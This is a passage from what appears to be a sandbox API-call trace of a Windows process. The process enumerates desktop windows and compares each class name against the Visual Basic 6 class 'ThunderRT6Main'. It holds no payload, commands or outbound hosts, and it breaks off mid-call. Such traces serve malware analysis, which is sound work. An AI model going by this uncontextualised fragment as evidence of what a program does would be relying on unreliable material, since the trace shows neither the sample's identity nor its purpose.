(hWnd=0x101d2, uCmd=0x2) returned 0x101d0 [0103.911] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.911] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.911] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.911] GetWindowLongA (hWnd=0x101d0, nIndex=-16) returned -2046820352 [0103.911] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0103.911] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0103.911] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101ce [0103.911] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.911] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.911] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.911] GetWindowLongA (hWnd=0x101ce, nIndex=-16) returned -2046820352 [0103.911] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0103.911] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0103.911] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101cc [0103.911] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.911] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.911] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.911] GetWindowLongA (hWnd=0x101cc, nIndex=-16) returned -2046820352 [0103.911] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0103.911] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0103.911] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x301a2 [0103.911] GetClassNameA (in: hWnd=0x301a2, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0103.911] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0103.911] GetWindowThreadProcessId (in: hWnd=0x301a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.911] GetWindowLongA (hWnd=0x301a2, nIndex=-16) returned 114229248 [0103.911] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0103.911] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0103.911] GetWindow (hWnd=0x301a2, uCmd=0x2) returned 0x401a4 [0103.911] GetClassNameA (in: hWnd=0x401a4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0103.911] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0103.911] GetWindowThreadProcessId (in: hWnd=0x401a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x914 [0103.911] GetWindow (hWnd=0x401a4, uCmd=0x2) returned 0x201a0 [0103.911] GetClassNameA (in: hWnd=0x201a0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0103.911] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0103.911] GetWindowThreadProcessId (in: hWnd=0x201a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.911] GetWindowLongA (hWnd=0x201a0, nIndex=-16) returned -2080374784 [0103.911] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0103.911] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0103.911] GetWindow (hWnd=0x201a0, uCmd=0x2) returned 0x10194 [0103.911] GetClassNameA (in: hWnd=0x10194, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.912] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.912] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0103.912] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10192 [0103.912] GetClassNameA (in: hWnd=0x10192, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="spendwin") returned 8 [0103.912] lstrcmpA (lpString1="spendwin", lpString2="ThunderRT6Main") returned -1 [0103.912] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0103.912] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x20208 [0103.912] GetClassNameA (in: hWnd=0x20208, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0103.912] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0103.912] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.912] GetWindowLongA (hWnd=0x20208, nIndex=-16) returned -2080374784 [0103.912] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0103.912] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0103.912] GetWindow (hWnd=0x20208, uCmd=0x2) returned 0x201fa [0103.912] GetClassNameA (in: hWnd=0x201fa, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0103.912] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0103.912] GetWindowThreadProcessId (in: hWnd=0x201fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.912] GetWindowLongA (hWnd=0x201fa, nIndex=-16) returned 1149272145 [0103.912] GetWindow (hWnd=0x201fa, uCmd=0x2) returned 0x101c8 [0103.912] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0103.912] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0103.912] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.912] GetWindowLongA (hWnd=0x101c8, nIndex=-16) returned 1149272145 [0103.912] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x1018e [0103.912] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Possiblycls") returned 11 [0103.912] lstrcmpA (lpString1="Possiblycls", lpString2="ThunderRT6Main") returned -1 [0103.912] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0103.912] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0103.912] GetClassNameA (in: hWnd=0x10190, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.912] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.912] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0103.912] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0103.912] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="completingapp") returned 13 [0103.912] lstrcmpA (lpString1="completingapp", lpString2="ThunderRT6Main") returned -1 [0103.912] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0103.912] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0103.912] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.913] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.913] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0103.913] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0103.913] GetClassNameA (in: hWnd=0x10186, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Household") returned 9 [0103.913] lstrcmpA (lpString1="Household", lpString2="ThunderRT6Main") returned -1 [0103.913] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0103.913] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0103.913] GetClassNameA (in: hWnd=0x10188, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.913] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.913] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0103.913] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0103.913] GetClassNameA (in: hWnd=0x10182, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="mjvidsclass") returned 11 [0103.913] lstrcmpA (lpString1="mjvidsclass", lpString2="ThunderRT6Main") returned -1 [0103.913] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0103.913] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0103.913] GetClassNameA (in: hWnd=0x10184, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.913] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.913] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0103.913] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0103.913] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Unlessclass") returned 11 [0103.913] lstrcmpA (lpString1="Unlessclass", lpString2="ThunderRT6Main") returned 1 [0103.913] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0103.913] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0103.913] GetClassNameA (in: hWnd=0x10180, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.913] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.913] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0103.913] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0103.913] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Consultants_Consistent_window") returned 29 [0103.913] lstrcmpA (lpString1="Consultants_Consistent_window", lpString2="ThunderRT6Main") returned -1 [0103.913] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0103.913] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0103.913] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.913] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.913] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0103.913] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0103.913] GetClassNameA (in: hWnd=0x10176, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="renew_sonic_Sms_win") returned 19 [0103.914] lstrcmpA (lpString1="renew_sonic_Sms_win", lpString2="ThunderRT6Main") returned -1 [0103.914] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0103.914] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0103.914] GetClassNameA (in: hWnd=0x10178, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.914] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.914] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0103.914] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0103.914] GetClassNameA (in: hWnd=0x10172, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Regards_Neo_parade_app") returned 22 [0103.914] lstrcmpA (lpString1="Regards_Neo_parade_app", lpString2="ThunderRT6Main") returned -1 [0103.914] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0103.914] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0103.914] GetClassNameA (in: hWnd=0x10174, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.914] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.914] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0103.914] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0103.914] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="marsh_cls") returned 9 [0103.914] lstrcmpA (lpString1="marsh_cls", lpString2="ThunderRT6Main") returned -1 [0103.914] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0103.914] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0103.914] GetClassNameA (in: hWnd=0x10170, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.914] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.914] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0103.914] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0103.914] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="shotsWorsenh") returned 12 [0103.914] lstrcmpA (lpString1="shotsWorsenh", lpString2="ThunderRT6Main") returned -1 [0103.914] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0103.914] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0103.914] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.914] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.914] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0103.914] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10164 [0103.914] GetClassNameA (in: hWnd=0x10164, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="shine_class") returned 11 [0103.914] lstrcmpA (lpString1="shine_class", lpString2="ThunderRT6Main") returned -1 [0103.914] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0103.914] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0103.914] GetClassNameA (in: hWnd=0x10166, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.915] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.915] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0103.915] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0103.915] GetClassNameA (in: hWnd=0x10160, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="waxpreparationcardiaccls") returned 24 [0103.915] lstrcmpA (lpString1="waxpreparationcardiaccls", lpString2="ThunderRT6Main") returned 1 [0103.915] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0103.915] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0103.915] GetClassNameA (in: hWnd=0x10162, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.915] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.915] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0103.915] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x1015c [0103.915] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="teRaywindow") returned 11 [0103.915] lstrcmpA (lpString1="teRaywindow", lpString2="ThunderRT6Main") returned -1 [0103.915] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0103.915] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x1015e [0103.915] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.915] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.915] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0103.915] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0xa0154 [0103.915] GetClassNameA (in: hWnd=0xa0154, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Summer_movie_ourselves_app") returned 26 [0103.915] lstrcmpA (lpString1="Summer_movie_ourselves_app", lpString2="ThunderRT6Main") returned -1 [0103.915] GetWindowThreadProcessId (in: hWnd=0xa0154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0103.915] GetWindow (hWnd=0xa0154, uCmd=0x2) returned 0x20158 [0103.915] GetClassNameA (in: hWnd=0x20158, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.915] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.915] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0103.915] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x2010a [0103.915] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="VidsRatingclass") returned 15 [0103.915] lstrcmpA (lpString1="VidsRatingclass", lpString2="ThunderRT6Main") returned 1 [0103.915] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0103.915] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x10156 [0103.915] GetClassNameA (in: hWnd=0x10156, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.915] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.915] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0103.915] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x20116 [0103.915] GetClassNameA (in: hWnd=0x20116, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0103.916] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0103.916] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0103.916] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0103.916] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0103.916] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0103.916] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0103.916] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0103.916] GetClassNameA (in: hWnd=0x10148, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0103.916] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0103.916] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0103.916] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0103.916] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0103.916] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0103.916] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0103.916] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0103.916] GetClassNameA (in: hWnd=0x10132, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0103.916] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0103.916] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0103.916] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0103.916] GetClassNameA (in: hWnd=0x10134, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.916] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.916] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0103.916] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0103.916] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0103.916] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0103.916] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0103.916] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0103.916] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.916] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.916] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0103.916] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0103.916] GetClassNameA (in: hWnd=0x10120, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0103.916] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0103.916] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0103.916] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0103.916] GetClassNameA (in: hWnd=0x10122, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.917] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.917] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0103.917] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0103.917] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.917] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.917] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0103.917] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0103.917] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.917] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.917] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.917] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0103.917] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0103.917] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0103.917] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.917] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0103.917] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0103.917] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0103.917] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.917] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0103.917] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.917] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.917] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.917] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0103.917] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.917] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.917] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.917] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0103.917] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.917] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.917] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.917] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0103.917] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0103.917] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0103.917] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.917] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0103.918] GetClassNameA (in: hWnd=0x20018, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0103.918] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0103.918] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0103.918] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0103.918] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.918] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.918] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0103.918] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0103.918] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0103.918] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0103.918] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0103.918] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0103.918] GetClassNameA (in: hWnd=0x20016, lpClassName=0x24c490, 